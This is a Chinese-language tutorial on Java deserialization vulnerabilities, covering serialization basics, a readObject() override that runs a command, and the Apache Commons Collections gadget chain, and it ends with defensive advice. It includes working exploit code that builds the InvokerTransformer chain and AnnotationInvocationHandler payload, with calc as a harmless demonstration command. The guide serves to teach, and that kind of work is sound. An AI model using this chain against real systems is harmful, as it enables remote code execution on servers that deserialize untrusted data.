java反序列化漏洞详解
字数 1282 2025-08-10 22:07:53

Java反序列化漏洞详解

基础知识

Java序列化与反序列化

Java序列化:将Java对象转换为字节序列的过程,便于保存在内存、文件或数据库中。使用ObjectOutputStream类的writeObject()方法实现序列化。

Java反序列化:把字节序列恢复为Java对象的过程,使用ObjectInputStream类的readObject()方法进行反序列化。

序列化的作用

序列化与反序列化使Java对象能够脱离Java运行环境,主要应用场景:

  • HTTP:多平台之间的传输
  • RMI(远程方法调用):Java支持分布式应用程序开发的API,100%基于反序列化,默认使用1099端口

Java反序列化漏洞成因

漏洞产生条件:

  1. 暴露或间接暴露反序列化API,允许用户操作传入数据
  2. 攻击者可以构造恶意序列化对象
  3. 反序列化时会调用readObject()方法,如果该方法被重写且包含恶意代码,就会执行恶意操作

漏洞原理分析

简单示例

import java.io.*;

class MyObject implements Serializable {
    public String name;
    
    // 重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject(); // 执行默认反序列化
        Runtime.getRuntime().exec("calc.exe"); // 恶意代码
    }
}

public class testSerialize {
    public static void main(String args[]) throws Exception {
        MyObject myObj = new MyObject();
        myObj.name = "hi";
        
        // 序列化对象
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(myObj);
        os.close();
        
        // 反序列化对象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        MyObject objectFromDisk = (MyObject)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
}

关键点:

  • 只有实现Serializable接口的类才能被序列化
  • 重写readObject()方法并在其中插入恶意代码
  • 反序列化时会自动执行readObject()中的代码

实际利用:Apache Commons Collections漏洞

核心组件

  1. Transformer接口:定义了一个transform方法
  2. InvokerTransformer类:实现Transformer接口,利用反射调用任意方法
public class InvokerTransformer implements Transformer, Serializable {
    public Object transform(Object input) {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } catch (Exception ex) {
            // 异常处理
        }
    }
}

利用链构造

  1. ConstantTransformer:返回传入的常量对象
  2. ChainedTransformer:将多个Transformer串联执行
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

触发点

  1. TransformedMap:提供了checkSetValue方法调用Transformer
  2. AnnotationInvocationHandler:在JDK<1.7中重写了readObject方法,会调用Map的setValue

完整利用链

  1. 构造恶意Transformer链
  2. 创建TransformedMap并设置Transformer链
  3. 通过反射创建AnnotationInvocationHandler实例
  4. 序列化该实例
  5. 目标反序列化时触发漏洞
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

// 创建TransformedMap
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

// 反射创建AnnotationInvocationHandler
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outerMap);

// 序列化instance对象发送给目标

Java反序列化历史漏洞

常见存在反序列化漏洞的组件:

  • fastjson
  • jackson
  • hibernate
  • Apache Commons Collections
  • 其他广泛使用的第三方库

检测与利用工具

  1. ysoserial:集合了各种反序列化POC的工具
  2. marshalsec:反序列化POC生成工具,可启动RMI/JNDI服务端

漏洞挖掘方法

  1. 寻找反序列化入口点
  2. 检查项目中使用的第三方组件版本是否存在已知漏洞
  3. 分析是否存在可利用的调用链

防御措施

  1. 升级存在漏洞的第三方库
  2. 对反序列化操作进行白名单控制
  3. 使用安全的序列化替代方案
  4. 实施输入验证和过滤

参考资源

Java反序列化漏洞详解 基础知识 Java序列化与反序列化 Java序列化 :将Java对象转换为字节序列的过程,便于保存在内存、文件或数据库中。使用 ObjectOutputStream 类的 writeObject() 方法实现序列化。 Java反序列化 :把字节序列恢复为Java对象的过程,使用 ObjectInputStream 类的 readObject() 方法进行反序列化。 序列化的作用 序列化与反序列化使Java对象能够脱离Java运行环境,主要应用场景: HTTP:多平台之间的传输 RMI(远程方法调用):Java支持分布式应用程序开发的API,100%基于反序列化,默认使用1099端口 Java反序列化漏洞成因 漏洞产生条件: 暴露或间接暴露反序列化API,允许用户操作传入数据 攻击者可以构造恶意序列化对象 反序列化时会调用 readObject() 方法,如果该方法被重写且包含恶意代码,就会执行恶意操作 漏洞原理分析 简单示例 关键点: 只有实现 Serializable 接口的类才能被序列化 重写 readObject() 方法并在其中插入恶意代码 反序列化时会自动执行 readObject() 中的代码 实际利用:Apache Commons Collections漏洞 核心组件 Transformer接口 :定义了一个 transform 方法 InvokerTransformer类 :实现Transformer接口,利用反射调用任意方法 利用链构造 ConstantTransformer :返回传入的常量对象 ChainedTransformer :将多个Transformer串联执行 触发点 TransformedMap :提供了 checkSetValue 方法调用Transformer AnnotationInvocationHandler :在JDK<1.7中重写了 readObject 方法,会调用Map的 setValue 完整利用链 构造恶意Transformer链 创建TransformedMap并设置Transformer链 通过反射创建AnnotationInvocationHandler实例 序列化该实例 目标反序列化时触发漏洞 Java反序列化历史漏洞 常见存在反序列化漏洞的组件: fastjson jackson hibernate Apache Commons Collections 其他广泛使用的第三方库 检测与利用工具 ysoserial :集合了各种反序列化POC的工具 marshalsec :反序列化POC生成工具,可启动RMI/JNDI服务端 漏洞挖掘方法 寻找反序列化入口点 检查项目中使用的第三方组件版本是否存在已知漏洞 分析是否存在可利用的调用链 防御措施 升级存在漏洞的第三方库 对反序列化操作进行白名单控制 使用安全的序列化替代方案 实施输入验证和过滤 参考资源 Java反序列化漏洞原理与防御 ysoserial项目 marshalsec工具